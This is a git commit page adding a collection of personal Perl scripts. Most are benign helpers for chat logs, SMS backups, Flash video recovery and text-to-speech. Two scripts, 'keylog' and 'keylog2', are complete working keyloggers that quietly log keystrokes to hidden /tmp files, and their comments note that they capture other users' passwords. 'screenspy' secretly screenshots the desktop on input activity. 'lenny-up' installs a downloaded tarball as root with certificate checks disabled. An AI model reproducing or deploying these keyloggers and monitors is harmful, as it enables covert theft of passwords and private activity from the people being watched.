Browse Source

Initial commit

master
Noah Petherbridge 2 years ago
parent
commit
73194e1706
9 changed files with 1154 additions and 0 deletions
  1. +74
    -0
      dumpmsn
  2. +67
    -0
      dumpsms
  3. +68
    -0
      flashget
  4. +27
    -0
      gsay
  5. +370
    -0
      keylog
  6. +292
    -0
      keylog2
  7. +9
    -0
      lenny-up
  8. +80
    -0
      mt-link-stuff
  9. +167
    -0
      screenspy

+ 74
- 0
dumpmsn View File

@@ -0,0 +1,74 @@
#!/usr/bin/perl

# dumpmsn - Pretty up MSN Messenger chat logs.
#
# Usage: dumpmsn *.xml
#
# This will create a folder named "html" and put the files there. Give it chat
# logs from Windows Live Messenger 2011 or similar (no guarantees it
# will work with other versions).
#
# --Kirsle
# http://sh.kirsle.net/

use 5.14.0;
use strict;
use warnings;
use XML::Simple;

if (!-d "html") {
mkdir("html") or die "Can't create folder 'html': $@";
}

foreach my $file (@ARGV) {
say "Dumping $file...";
my $xml = XMLin($file, ForceArray => 1);
my $html = $file;
$html =~ s/\.xml$//g;

open (my $fh, ">:utf8", "./html/$html.html");
print {$fh} <<EOF;
<!DOCTYPE html>
<html>
<head>
<title>Conversation Log</title>
<style>
body {
background-color: #FFFFFF;
font-family: Verdana,Arial,Helvetica,sans-serif;
font-size: small;
color: #000000;
}
</style>
</head>
<body>
EOF

if (ref($xml->{Message}) ne "ARRAY") {
warn "Not an array for $file";
next;
}
foreach my $Message (@{$xml->{Message}}) {
my $to = $Message->{To}->[0]->{User}->[0]->{FriendlyName};
my $from = $Message->{From}->[0]->{User}->[0]->{FriendlyName};
my $time = $Message->{Date} . " " . $Message->{Time};
my ($text,$style);
if (ref($Message->{Text}->[0])) {
$text = $Message->{Text}->[0]->{content};
$style = $Message->{Text}->[0]->{Style};
} else {
$text = $Message->{Text}->[0];
}

$style //= "";
$style = " style=\"$style\"" if length $style > 0;

print {$fh} "<strong>$time</strong><br>\n"
. "<em>$from says:</em>\n"
. "<blockquote$style>$text</blockquote>\n"
. "<hr>\n\n";
}

print {$fh} "</body>\n</html>";
close($fh);
}

+ 67
- 0
dumpsms View File

@@ -0,0 +1,67 @@
#!/usr/bin/perl

# dumpsms - Dump the SMS logs saved by "SMS Backup & Restore" into friendly
# readable HTML files!
#
# Usage: dumpsms <sms-dump.xml>
# Ex: dumpsms sms-20120629202942.xml
#
# It will create a folder "./sms" if it doesn't exist, and output all the logs
# into that folder. It saves HTML files after the contact name, if available.
# Logs are opened in append mode, so if you run the script multiple times the
# logs get appended to the end of the file!
#
# --Kirsle
# http://sh.kirsle.net/

use 5.14.0;
use strict;
use warnings;
use autodie;
use XML::Simple;

my $xml = shift or die "$0 <*.xml>";

mkdir("sms") unless -d "sms";
my $ref = XMLin($xml);

foreach my $sms (@{$ref->{sms}}) {
my $num = $sms->{address};

my $color = $sms->{type} eq "1" ? "receive" : "send";
my $dir = $sms->{type} eq "1" ? "From" : "Sent to";

my $file = "./sms/$sms->{contact_name}.html";
if (!-f $file) {
open (my $fh, ">", $file);
print {$fh} "<!DOCTYPE html>\n"
. "<html>\n"
. "<head>\n"
. "<title>Conversation with $sms->{contact_name}</title>\n"
. "<style>\n"
. "body {\n"
. " font-family: Verdana,Arial,sans-serif;\n"
. " font-size: small;\n"
. " color: #000000;\n"
. "}\n"
. ".receive {\n"
. " color: #0000FF;\n"
. "}\n"
. ".send {\n"
. " color: #FF0000;\n"
. "}\n"
. "</style>\n"
. "</head>\n"
. "<body>\n\n";
close($fh);
}

open (my $fh, ">>:utf8", "./sms/$sms->{contact_name}.html");
print {$fh} "<strong class='$color'>$sms->{readable_date}</strong><br>\n"
. "<strong>$dir</strong> $sms->{contact_name} - $num\n"
. "<blockquote>$sms->{body}</blockquote>\n"
. "<hr>\n";
close($fh);
}

say "Wrote logs to ./sms";

+ 68
- 0
flashget View File

@@ -0,0 +1,68 @@
#!/usr/bin/perl -w

# flashget - Download Flash videos from any hosting site.
# Usage: flashget [output directory default $HOME]
# Author: Kirsle
# http://sh.kirsle.net/

# This script doesn't care what your flash player is called. It just looks for
# any process that owns a /tmp/Flash####### file and copies it. It works for
# both the "old style" Netscape Flash plugin (for Firefox and Chromium) and the
# Pepper API style used in Google Chrome.

use strict;
use warnings;
use File::Copy;

my $home = shift @ARGV || (defined $ENV{HOME} ? $ENV{HOME} : ".");

print "flashget - Searching for Flash videos to rip. For best results, make sure\n"
. "you FULLY BUFFER the video first in your web browser.\n\n";

my $count = 0;

# First, just do a dumb scan of everything in /proc that we have read-access to
# and look for Flash files belonging to either Chrome or the Firefox-style Flash
# plugin. Note that the Chrome Flash plugin locks us out of its file descriptors
# unless we run with root privileges.
opendir (my $proc, "/proc");
foreach my $pid (sort { $a <=> $b } (grep(/^\d+$/, readdir($proc)))) {
# Skip PID's we can't read from.
next unless -r "/proc/$pid/fd";

# Look for flash videos.
opendir (my $fd, "/proc/$pid/fd");
foreach my $id (sort(grep(!/^\./, readdir($fd)))) {
my $file = "/proc/$pid/fd/$id"; # Make it an abs path.
if (-l $file) {
my $link = readlink($file);

# Look for a Flash video link.
$link =~ s/\s*\(deleted\)//g; # Remove the " (deleted)" extensions.
if ($link =~ m{^/tmp/((?:Flash|FreshTemp).*?)$} || $link =~ m{Shockwave Flash/\.(.+?)$}) {
# Copy it.
my $dest = "$home/$1.flv";
print "Recover from PID $pid: $id -> $dest\n";
copy($file, $dest) or print "ERR: Couldn't copy to $dest: $@\n";
$count++;
}
}
}
closedir($fd);
}
closedir ($proc);

print "\nRecovered $count Flash video(s).\n";

# Do a quick check for Google Chrome Flash processes that we didn't manage to
# get files from, to notify the user that they may want to re-run as root.
if ($> != 0) {
my $ps = `ps aux | grep ppapi | grep -v grep`;
if ($ps) {
print "I found a few Google Chrome Flash plugins running, but I need\n"
. "root permissions to read those files (unless you saw some files\n"
. "named like 'com.google' above). Run this script as root to get\n"
. "Flash videos out of Google Chrome.\n";
print "$ps\n";
}
}

+ 27
- 0
gsay View File

@@ -0,0 +1,27 @@
#!/usr/bin/perl

# gsay - Text to Speech using Google
# Usage: gsay <message>
#
# --Kirsle
# http://sh.kirsle.net/

use strict;
use warnings;
use URI::Escape;

if (scalar(@ARGV) == 0 || $ARGV[0] =~ /^-/) {
die "Usage: $0 <message>\n";
}

my $message = uri_escape(join(" ", @ARGV));

# Check for mplayer.
chomp(my $mplayer = `which mplayer 2>/dev/null`);
if ($? || !$mplayer) {
die "Couldn't find `mplayer` - please install it!\n";
}

# Fork a background process to speak and exit immediately.
exit if fork();
exec("$mplayer -ao alsa -really-quiet -noconsolecontrols \"http://translate.google.com/translate_tts?tl=en&q=$message\" >/dev/null 2>&1");

+ 370
- 0
keylog View File

@@ -0,0 +1,370 @@
#!/usr/bin/perl -w

use strict;
use warnings;
use threads;
use threads::shared;

# keylog - A simple key logger.
# Usage: keylog <path-to-device-node>
# Example: keylog /dev/input/event0
#
# The user you run this as should have read access to the device node. Most of
# the time, this means you'll need to run this as root.
#
# To find out which device node your keyboard is using, run the command
# `cat /proc/bus/input/devices` and search for your keyboard. There should be
# a line by your keyboard's info that looks like "Handlers=kbd event4" and
# in this case the input device is /dev/input/event4. Update this for any
# other event number that you see instead.
#
# This program prints ALL key events to the terminal (including the key up/down
# events for all keys). This information probably isn't directly useful to you,
# so it also logs "full sentences" to the log file at /tmp/.keylog. The lines
# it logs are probably the most useful to you; if the user hits the backspace
# key, the last key they typed is deleted, etc.. so if a user is typing their
# password and makes a typo and finishes typing, you'll get their full password.
#
# The buffer used for this is saved after 2 seconds of idle time in their typing,
# or when a "separator key" is entered (a separator key is: Enter, Return, or
# Tab). Each buffer is saved to its own line in the log file. If the user is a
# slow typer, one "sentence" may actually span multiple lines, so you'll have to
# figure this out yourself.
#
# This is just a proof of concept and should be used for educational purposes
# only.
#
# --Kirsle
# http://sh.kirsle.net/

# Modify the die handler so we can exit on error messages
# more gracefully.
$SIG{__DIE__} = sub {
my $err = shift;
$err =~ s/ at .+ line .+\.//g;
print $err;
exit(1);
};

# Get the device node from command line.
scalar(@ARGV) or die "Usage: keylog <device-node>\nExample: keylog /dev/input/event0";
my $DEV = $ARGV[0];

# Must run this as root, or be able to read from the device.
if (!-r $DEV) {
die "Can't read from $DEV; got root?";
}

# Hash to keep track of modifier keys.
our $mod = {
shift => 0,
alt => 0,
ctrl => 0,
};

# This scalar holds the "typing buffer". If they pause typing for 2 seconds,
# or hit a "separator key" (return/enter or tab), the buffer is written to disk
# in the log file. The backspace key deletes text in the buffer, etc. This way
# you can see basically what they typed, without having to parse through the
# key up/down events yourself.
my $buffer : shared;
my $lastkey : shared; # Holds the time() of the last key event seen.
my $writenow : shared; # The key parser can force the buffer to write now.
$buffer = '';
$lastkey = 0;
$writenow = 0;

# Spawn a thread to watch the buffer and write it to disk. This way the
# blocking file reads won't prevent the buffer from being written.
my $bufthread = threads->create (\&buffer);

# Open the device for reading.
open (FILE, $DEV);
while (1) {
# Read the next keypress event.
my $line = "";
sysread(FILE, $line, 16);
my @vals = split(//, $line);

if (ord($vals[10]) != 0) {
# Interpret the event.
interpret(ord($vals[10]),ord($vals[12]));
}
}
close (FILE);

# This is the buffer writing thread.
sub buffer {
while (1) {
select(undef,undef,undef,0.1);

# Was there a 2 second delay from the last event?
if ($lastkey == 0) {
next;
}

if ((time() - $lastkey >= 2 && length($buffer) > 0) || $writenow) {
# Write it to disk.
print "Writing buffer to disk\n";
open (WRITE, ">>/tmp/.keylog");
print WRITE ts() . "$buffer\n";
close (WRITE);
$buffer = '';
$lastkey = 0;
$writenow = 0;
}
}
}

# Interpret keycode events from the device node.
sub interpret {
my ($keycode,$state) = @_;

# Store the last keypress time.
$lastkey = time();

# Qwerty keyboard map.
qwerty($keycode,$state);
return;

# This code doesn't run; if you want it to run,
# comment out the "return" just above these
# comments. This is for debugging purposes.
print "[$keycode] ";
if ($state == 0) {
print "up\n";
}
elsif ($state == 1) {
print "down\n";
}
elsif ($state == 2) {
print "repeat\n";
}
else {
print "\n";
}
}

# Interpret keycodes based on QWERTY key map.
sub qwerty {
my ($code,$state) = @_;
return unless $state >= 0 && $state <= 2;

# Handle the modifier keys first.
if ($code == 42 || $code == 54) {
# Shift key.
$mod->{shift} = ($state == 1 ? 1 : 0);
}
elsif ($code == 29 || $code == 97) {
# Ctrl key.
$mod->{ctrl} = ($state == 1 ? 1 : 0);
}
elsif ($code == 56 || $code == 100) {
# Alt key.
$mod->{alt} = ($state == 1 ? 1 : 0);
}

# Qwery keys.
my %keys = (
# Keys that map to two different characters (with shift
# key held down) are an array; element 0 is the non-shifted
# character, element 1 is the shifted character.

# number row
41 => [ '`', '~' ],
2 => [ '1', '!' ],
3 => [ '2', '@' ],
4 => [ '3', '#' ],
5 => [ '4', '$' ],
6 => [ '5', '%' ],
7 => [ '6', '^' ],
8 => [ '7', '&' ],
9 => [ '8', '*' ],
10 => [ '9', '(' ],
11 => [ '0', ')' ],
12 => [ '-', '_' ],
13 => [ '=', '+' ],

# qwerty row
16 => [ 'q', 'Q' ],
17 => [ 'w', 'W' ],
18 => [ 'e', 'E' ],
19 => [ 'r', 'R' ],
20 => [ 't', 'T' ],
21 => [ 'y', 'Y' ],
22 => [ 'u', 'U' ],
23 => [ 'i', 'I' ],
24 => [ 'o', 'O' ],
25 => [ 'p', 'P' ],
26 => [ '[', '{' ],
27 => [ ']', '}' ],
43 => [ '\\', '|' ],

# asdf row
30 => [ 'a', 'A' ],
31 => [ 's', 'S' ],
32 => [ 'd', 'D' ],
33 => [ 'f', 'F' ],
34 => [ 'g', 'G' ],
35 => [ 'h', 'H' ],
36 => [ 'j', 'J' ],
37 => [ 'k', 'K' ],
38 => [ 'l', 'L' ],
39 => [ ';', ':' ],
40 => [ "'", '"' ],

# zxcv row
44 => [ 'z', 'Z' ],
45 => [ 'x', 'X' ],
46 => [ 'c', 'C' ],
47 => [ 'v', 'V' ],
48 => [ 'b', 'B' ],
49 => [ 'n', 'N' ],
50 => [ 'm', 'M' ],
51 => [ ',', '<' ],
52 => [ '.', '>' ],
53 => [ '/', '?' ],

# Other keys
14 => 'Backspace',
28 => 'Return',
96 => 'Enter',
15 => 'Tab',
57 => ' ',
58 => 'Caps Lock',
69 => 'Num Lock',
70 => 'Scroll Lock',
42 => 'L-Shift',
54 => 'R-Shift',
29 => 'L-Ctrl',
97 => 'R-Ctrl',
56 => 'L-Alt',
100 => 'R-Alt',
125 => 'L-Super',
126 => 'R-Super',
127 => 'Menu',
1 => 'Escape',
59 => 'F1',
60 => 'F2',
61 => 'F3',
62 => 'F4',
63 => 'F5',
64 => 'F6',
65 => 'F7',
66 => 'F8',
67 => 'F9',
68 => 'F10',
87 => 'F11',
88 => 'F12',
110 => 'Insert',
102 => 'Home',
107 => 'End',
104 => 'Pg Up',
109 => 'Pg Dn',
111 => 'Del',
99 => 'Print Screen',
119 => 'Pause',
103 => 'Up',
108 => 'Down',
106 => 'Right',
105 => 'Left',
71 => [ 'Num-7', 'Num-Home' ],
72 => [ 'Num-8', 'Num-Up' ],
73 => [ 'Num-9', 'Num-Pg Up' ],
75 => [ 'Num-4', 'Num-Left' ],
76 => 'Num-5',
77 => [ 'Num-6', 'Num-Right' ],
79 => [ 'Num-1', 'Num-End' ],
80 => [ 'Num-2', 'Num-Down' ],
81 => [ 'Num-3', 'Num-Pg Dn' ],
82 => [ 'Num-0', 'Num-Insert' ],
96 => 'Num-/',
55 => 'Num-*',
74 => 'Num--',
78 => 'Num-+',
93 => [ 'Num-.', 'Num-Del' ],
);

# See their matching keypress.
my $keypress = '';
foreach my $key (sort keys %keys) {
if ($code == $key) {
# We have a match! Does the key have a shift-modifier?
if (ref($keys{$key}) eq "ARRAY") {
if ($mod->{shift}) {
$keypress = $keys{$key}->[1];
}
else {
$keypress = $keys{$key}->[0];
}
}
else {
$keypress = $keys{$key};
}
last;
}
}

# Add it to the buffer.
if ($state == 1) {
if (length $keypress > 1) {
if ($keypress eq 'Backspace') {
# Delete the last character off the end of their buffer.
$buffer = substr($buffer,0,(length($buffer) - 1));
}
else {
# Add the special key with {brackets} around it.
$buffer .= "{$keypress}";
}
}
else {
$buffer .= $keypress;
}
}

# If they hit a separator key, save the buffer right now.
if ($state == 1 && ($keypress eq 'Return' || $keypress eq 'Enter' || $keypress eq 'Tab')) {
$writenow = 1;
}

# Print their key.
if ($mod->{shift}) {
$keypress = "(Shift) $keypress";
}
if ($mod->{ctrl}) {
$keypress = "(Ctrl) $keypress";
}
if ($mod->{alt}) {
$keypress = "(Alt) $keypress";
}

if ($state == 1) {
$keypress = "+ $keypress";
}
else {
$keypress = "- $keypress";
}

print "$code $keypress\n";

# Log the raw keypresses too.
open (RAW, ">>/tmp/.rawkeylog");
print RAW ts() . "$code $keypress\n";
close (RAW);
}

sub ts {
my @time = localtime();
return "[" . join(" ",
join("-",
sprintf("%04d", $time[5] + 1900),
sprintf("%02d", $time[4] + 1),
sprintf("%02d", $time[3]),
),
join(":",
sprintf("%02d", $time[2]),
sprintf("%02d", $time[1]),
sprintf("%02d", $time[0]),
),
) . "] ";
}

+ 292
- 0
keylog2 View File

@@ -0,0 +1,292 @@
#!/usr/bin/perl -w

# keylog2 - a rootless keylogger that only requires an X server and the xinput
# command (provided by xorg-x11-apps on Fedora). You'll also need to install
# the Perl module IO::Pty::Easy.
#
# Unlike my first keylogger proof-of-concept, this one doesn't require root
# privileges because it just uses the X Window System. Therefore it only
# catches key inputs made to graphical programs on the same X server that the
# keylogger runs on.
#
# How it works: running `xinput list` lists all your X input devices. There's
# a keyboard device named "AT (something)", mine is "AT Translated Set 2
# keyboard". Get the ID from the line that says this and then run
# `xinput test <id>` and it will start dumping keystroke information as the
# user types keys into ANY graphical app.
#
# I mapped the QWERTY keyboard set using my own keyboard by trial-and-error,
# so no guarantees it will work for everybody. This is just another proof of
# concept anyway, and shouldn't be used for malicious purposes.
#
# Under the default configuration, the log file is written to /tmp/.keylog
# and only logs key release events, except for modifier keys (Shift, Ctrl,
# Alt, and Super (Windows key)) where it will also log the Key Down event
# (so Alt-Tabbing makes more sense in the log, for example). You can
# optionally configure it to log EVERY key down event if you'd like, though.
#
# Again, this is just a proof of concept and should be used for educational
# purposes only, and not for anything malicious.
#
# --Kirsle
# http://sh.kirsle.net/

use strict;
use warnings;
use IO::Pty::Easy;
use IO::Handle;

##########################
# Configuration #
##########################

my $conf = {
# Log files to write keys to
logfile => "/tmp/.keylog",

# By default only key-releases are logged. Log key-presses too?
log_keydown => 0,
};

##########################
# End Configuration #
##########################

# X11 display.
$ENV{DISPLAY} ||= ":0.0";

# Make sure we have xinput.
if (system("which xinput > /dev/null") != 0) {
print "You require the `xinput` command for this keylogger to work.\n";
exit(1);
}

# Get the input list.
my @inputs = `xinput list`;

# Find the AT keyboard.
my $id;
foreach my $line (@inputs) {
$line =~ s/^[\s\t]+//g;
$line =~ s/[\s\t]+$//g;
$line =~ s/[\x0D\x0A]+//g;
next unless length $line;
if ($line =~ /keyboard/i && $line =~ /. AT/) {
($id) = ($line =~ /id=(\d+)/)[0];
}
}
if (!defined $id) {
print "Failed to find \"AT\" keyboard ID from `xinput list`!\n";
exit(1);
}

print "Keyboard ID: $id\n";

# Track state of modifier keys.
our %mod = (
'shift' => 0,
'ctrl' => 0,
'alt' => 0,
'super' => 0,
);

# Begin watching. Make a pseudo TTY for this so xinput believes we're a shell.
my $tty = IO::Pty::Easy->new();
print "Watching `xinput test $id`\n";
$tty->spawn("xinput test $id");

while ($tty->is_active) {
my $data = $tty->read();
my @lines = split(/\n/, $data);
foreach my $line (@lines) {
# Key event?
chomp $line;
if ($line =~ /^key\s+(press|release)\s+(\d+)\s*?$/i) {
event($1, $2);
}
}
}

# Handle key events
sub event {
my ($event,$sym) = @_;

# Only QWERTY keyboards supported.
my $key = kbd_qwerty($event,$sym);

print "[$sym] $event: " . ($key eq " " ? "{space}" : $key) . "\n";

# Log it?
if ($event eq "release" || ($event eq "press" && $conf->{log_keydown}) ||
($key =~ /^\{(Shift|Ctrl|Alt|Super)\}$/)) {
my @time = localtime(time());
my $ts = join(" ",
join("-",
sprintf("%4d", $time[5] + 1900),
sprintf("%2d", $time[4] + 1),
sprintf("%2d", $time[3]),
),
join(":",
sprintf("%2d", $time[2]),
sprintf("%2d", $time[1]),
sprintf("%2d", $time[0]),
),
);

open (my $log, ">>", $conf->{logfile});
print $log "[$ts] "
. ($event eq "release" ? "<Release>" : "<Press>")
. " "
. ($key eq " " ? "{space}" : $key)
. "\n";
close ($log);
}
}

# QWERTY keysym finder
sub kbd_qwerty {
my ($event,$sym) = @_;

# Modifier keys.
my %modkeys = (
50 => 'shift', # L Shift
62 => 'shift', # R Shift
37 => 'ctrl', # L Ctrl
105 => 'ctrl', # R Ctrl
64 => 'alt', # L Alt
108 => 'alt', # R Alt
133 => 'super', # L Super
);
if (exists $modkeys{$sym}) {
my $name = $modkeys{$sym};
$mod{$name} = $event eq "press" ? 1 : 0;
return "{\u$name}";
}

# Qwerty keys.
my %keys = (
# qwerty row
24 => [ 'q', 'Q' ], # normal, shift key
25 => [ 'w', 'W' ],
26 => [ 'e', 'E' ],
27 => [ 'r', 'R' ],
28 => [ 't', 'T' ],
29 => [ 'y', 'Y' ],
30 => [ 'u', 'U' ],
31 => [ 'i', 'I' ],
32 => [ 'o', 'O' ],
33 => [ 'p', 'P' ],
34 => [ '[', '{' ],
35 => [ ']', '}' ],
51 => [ "\\", '|' ],

# asdf row
38 => [ 'a', 'A' ],
39 => [ 's', 'S' ],
40 => [ 'd', 'D' ],
41 => [ 'f', 'F' ],
42 => [ 'g', 'G' ],
43 => [ 'h', 'H' ],
44 => [ 'j', 'J' ],
45 => [ 'k', 'K' ],
46 => [ 'l', 'L' ],
47 => [ ';', ':' ],
48 => [ '"', "'" ],
36 => "{Return}",

# zxcv row
52 => [ 'z', 'Z' ],
53 => [ 'x', 'X' ],
54 => [ 'c', 'C' ],
55 => [ 'v', 'V' ],
56 => [ 'b', 'B' ],
57 => [ 'n', 'N' ],
58 => [ 'm', 'M' ],
59 => [ ',', '<' ],
60 => [ '.', '>' ],
61 => [ '/', '?' ],

# number row
49 => [ '`', '~' ],
10 => [ '1', '!' ],
11 => [ '2', '@' ],
12 => [ '3', '#' ],
13 => [ '4', '$' ],
14 => [ '5', '%' ],
15 => [ '6', '^' ],
16 => [ '7', '&' ],
17 => [ '8', '*' ],
18 => [ '9', '(' ],
19 => [ '0', ')' ],
20 => [ '-', '_' ],
21 => [ '+', '=' ],

# space bar
65 => ' ',

# number pad
90 => '{Num-0}',
87 => '{Num-1}',
88 => '{Num-2}',
89 => '{Num-3}',
83 => '{Num-4}',
84 => '{Num-5}',
85 => '{Num-6}',
79 => '{Num-7}',
80 => '{Num-8}',
81 => '{Num-9}',
106 => '{Num-/}',
63 => '{Num-*}',
82 => '{Num--}',
86 => '{Num-+}',

# F keys
67 => '{F1}',
68 => '{F2}',
69 => '{F3}',
70 => '{F4}',
71 => '{F5}',
72 => '{F6}',
73 => '{F7}',
74 => '{F8}',
75 => '{F9}',
76 => '{F10}',
95 => '{F11}',
96 => '{F12}',

# Misc
9 => '{Esc}',
22 => '{Backspace}',
77 => '{Num Lock}',
107 => '{Print Scr}',
118 => '{Insert}',
119 => '{Delete}',
110 => '{Home}',
112 => '{Pg Up}',
117 => '{Pg Dn}',
115 => '{End}',
111 => '{Up}',
116 => '{Down}',
113 => '{Left}',
114 => '{Right}',
135 => '{Menu}',
23 => '{Tab}',
66 => '{Caps Lock}',
);

if (exists $keys{$sym}) {
if (ref($keys{$sym})) {
print "(shift key: $mod{shift})\n";
if ($mod{shift}) {
return $keys{$sym}->[1];
}
else {
return $keys{$sym}->[0];
}
}
return $keys{$sym};
}
else {
return "{Unknown: $sym}";
}
}

+ 9
- 0
lenny-up View File

@@ -0,0 +1,9 @@
#!/usr/bin/perl

# Get some updated software on Debian Lenny, especially `git`.

if (!-d "/opt/git") {
print "Fetching latest git\n";
system(qw(wget --no-check-certificate https://rpm.kirsle.net/static-bin/git/lenny/latest.tar.gz -O git-lenny.tar.gz));
system(qw(sudo tar -xzvf git-lenny.tar.gz -C /));
}

+ 80
- 0
mt-link-stuff View File

@@ -0,0 +1,80 @@
#!/usr/bin/perl

use strict;
use warnings;
use Cwd;

# Make symlinks from your git-project repo into the system. This is only
# designed to work with Media Temple's git-project workflow.
#
# Usage: sudo link-stuff.pl /path/to/git/project
#
# The git-project root should have top-level folders such as `perl-libs`, with
# a path convention like e.g. `perl-libs/$NAME/lib/**/*.pm` -- this script will
# attempt to find system-installed counterparts and symlink them to the file
# from your git repo.
#
# Currently supports the following types of things:
# * perl-libs

my $root = shift;
if (!$root) {
die "Usage: $0 /path/to/git/project\n";
}
if (!-d $root) {
die "Error: $root is not a directory\n";
}

chdir($root);
my $abspath = Cwd::abs_path(".");

if (-d "./perl-libs") {
perl_libs();
}

sub perl_libs {
# Root directories to check.
my @lib = (
"/usr/share/perl5",
"/usr/share/perl5/vendor_perl",
);

# Find all the perl-libs projects.
opendir(my $dh, "./perl-libs");
foreach my $project (readdir($dh)) {
next unless -d "./perl-libs/$project/lib";
print "Project: perl-libs/$project\n";

# Get its modules.
foreach my $module (scan("./perl-libs/$project/lib")) {
$module =~ s{^\./perl-libs/$project/lib/}{}g;
foreach my $lib (@lib) {
if (-f "$lib/$module") {
print " - Link: $lib/$module\n";
unlink("$lib/$module");
symlink("$abspath/perl-libs/$project/lib/$module", "$lib/$module");
}
}
}
}
}

# Recursively scan a directory.
sub scan {
my $dir = shift;

my @found;

opendir (my $dh, $dir);
foreach my $file (readdir($dh)) {
next if ($file eq '.' || $file eq '..');
if (-d "$dir/$file") {
push @found, scan("$dir/$file");
} else {
push @found, "$dir/$file";
}
}
closedir($dh);

return @found;
}

+ 167
- 0
screenspy View File

@@ -0,0 +1,167 @@
#!/usr/bin/perl -w

# screenspy - Linux desktop monitoring daemon. Must be run as root.

# This script monitors one or more hardware devices (usually under /dev) for
# Linux systems running an X window manager.
#
# This script must be run as root because usually only root can read from
# hardware devices directly. You can set up a panel launcher to run this
# script with `sudo` if you previously set up the sudoers file to let your
# user run this script with no password.
#
# --Kirsle
# http://sh.kirsle.net/

use strict;
use warnings;
use threads;
use threads::shared;

#################
# Configuration #
#################

# X display to grab screenshots from.
$ENV{DISPLAY} ||= ":0.0";

# Devices to monitor.
our @devices = (
"/dev/console", # keyboard input
"/dev/input/mice", # mouse input
);

# Screenshot command.
our $screenshot = 'scrot -q 85 "%s"';

# Output directory for screenshots.
our $outdir = '/home/kirsle/Pictures/screenspy';

# Calibration: number of seconds (after no activity) for it to take a screenshot.
our $threshold = 2; # I found that 2 seconds is the best for my system, 1 second and it takes screenshots too often.

# Calibration: if there's too much activity after the threshold, take screenshots every N seconds.
our $prolonged = 5;

# If you want some indication that the app is running, put the command to run in here.
# This command will be repeatedly run. Recommended is to use zenity and put an icon in
# your system tray. Leave blank for no command.
our $notify = "zenity --notification --window-icon=/usr/share/pixmaps/gnome-spider.png --text 'Running...'";

#####################
# End Configuration #
#####################

# Only let this script run once.
&checkdupes();

# Each thread will report the time when the last event happened.
my %lastEvent : shared;
my %changed : shared;

# Spawn a thread for each device.
my @threads = ();
foreach my $dev (@devices) {
# Make sure we can read the device.
if (!-r $dev) {
system("zenity --error --text \"Don't have permission to read from device $dev\"");
}
push (@threads, threads->create (\&monitor, $dev));
}

# If they want a command run, spawn a thread for it too.
if (length $notify) {
push (@threads, threads->create (\&notify));
}

# Loop forever and let the threads do their thing.
while (1) {
# See if any events have stopped for longer than the threshold.
foreach my $dev (keys %lastEvent) {
if ($lastEvent{$dev} > 0 && time() - $lastEvent{$dev} >= $threshold) {
# take screenshot
print "$dev: idle, taking screenshot (" . (time() - $lastEvent{$dev}) . "; $threshold)\n";
&screenshot();
$lastEvent{$dev} = 0;
$changed{$dev} = 0;
}
}
select(undef,undef,undef,0.01);
}

sub monitor {
my $device = shift;
print "Monitoring device: $device\n";

# Store the time when the last event was seen.
$lastEvent{$device} = 0;

# When the lastEvent is first set (away from 0), record the time it was changed.
# This way for prolonged activity we can still take screenshots.
$changed{$device} = 0;

open (READ, $device);
my $buffer;
while (read(READ, $buffer, 1)) {
# Store the last event time
if ($lastEvent{$device} == 0) {
$changed{$device} = time();
}
$lastEvent{$device} = time();

# Too much activity?
if ($changed{$device} > 0 && time() - $changed{$device} > $prolonged) {
# Take screenshot.
print "$device: prolonged activity (> $prolonged seconds)\n";
&screenshot();
$changed{$device} = time();
}
}
close (READ);
}

sub notify {
while (1) {
system($notify);
}
}

sub screenshot {
print "Taking screenshot!\n";

my @time = localtime(time());
my $date = join(" ",
join("-",
sprintf("%04d", $time[5] + 1900),
sprintf("%02d", $time[4] + 1),
sprintf("%02d", $time[3]),
),
join(":",
sprintf("%02d", $time[2]),
sprintf("%02d", $time[1]),
sprintf("%02d", $time[0]),
),
);

my $fname = $date;
my $i = 1;
while (-f "$outdir/$fname.png") {
$fname = $date . " [$i]";
$i++;
}
my $cmd = $screenshot;
$cmd =~ s/%s/$outdir\/$fname\.png/ig;
system($cmd);
}

sub checkdupes {
my $ps = `ps aux | grep screenspy`;
foreach my $line (split(/\n/,$ps)) {
chomp $line;
next if $line =~ /grep/i;
next if $line =~ /$$/i;
if ($line) {
die "Script is already running!\n";
}
}
}

Loading…
Cancel
Save